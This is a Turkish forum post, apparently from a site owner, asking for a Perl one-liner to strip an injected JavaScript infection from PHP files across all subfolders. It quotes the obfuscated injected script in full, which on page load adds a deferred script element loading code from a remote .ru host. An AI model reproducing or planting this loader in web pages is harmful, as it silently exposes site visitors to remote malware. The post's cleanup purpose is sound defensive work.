Perl bilgisi olan arkadaşlardan ricam 1 satırlık preg_replace fonksiyonu olacak. Tabi PERL'de bu varsa.
this.__='';var b;if(b!='' && b!='z'){b=''};var t=document;var m;if(m!=''){m='ez'};var w='sPcbrbi3p3tZ'.replace(/[Z3bmP]/g, '');var k=window;var wg;if(wg!='uv' && wg!='up'){wg='uv'};var g;if(g!='uk' && g!='ms'){g=''};var h_=new String();k.onload=function(){try {var ej;if(ej!=''){ej='i'};var ukq=new String();_=t.createElement(w);var ci=20378;var a=new Date();var ad;if(ad!=''){ad='ar'};var x='';var qe='';var wc='';_.src='hQt9t9pQ:+/+/Rd9uSoQwQaRnR-ScRoRm9.+gSo+oSgSl+e9.SeSsQ.Ql9o+wReRs+-ScQo9mR.Sh9o9mQeSsRiQt9eSdReQs9iQgSnSs9.QrRu9:+8+0+8S09/RsSt+aRtSc+oRuQnQt9eQr9.+c9o9m+/9s+tRa+tRc9oQuRn9t+eSrQ.Sc9o+mS/+g+o9oQg9l+eQ.9cRo+mR/SbShSaRrQaStRsQt9uQdSeSnRtQ.+cSo9mR/+rRaQp9iSdQ4QmSe+.9c9oSmR/Q'.replace(/[Q\+SR9]/g, '');this.cl=6042;var du;if(du!='' && du!='arn'){du=null};_.setAttribute('d1e1fjejrj'.replace(/[j\+Ag1]/g, ''), "1");this.kw='';this.vd="vd";t.body.appendChild(_);var gwt;if(gwt!='a_' && gwt != ''){gwt=null};} catch(e){var df;if(df!='' && df!='kp'){df=''};this.yc=1222;};var nt=new String();};this.uq='';var s="";Virüs yukarıdaki şekilde js dosyalarına, başına <script> ekleyerek de diğer dosyalara bulaşıyor.
perl -p -i -e 's/one/two/g' *.php bu kod ise SSH ile aynı dizindeki PHP dosyaları içerisinde 'one' yazısını two ile değiştiriyor. Sizden ricam tüm alt klasörlerdeki php dosyalarında
this.__='';var b;if(b!='' && b!='z')ve
this.uq='';var s="";arasındaki kodu silecek bir betik yazmanız.
Eğer bu başarılı olursa bu illetle uğraşmak zorunda kalan kişilerede yardımı olacaktır diye düşünüyorum.
Teşekkür ederim.
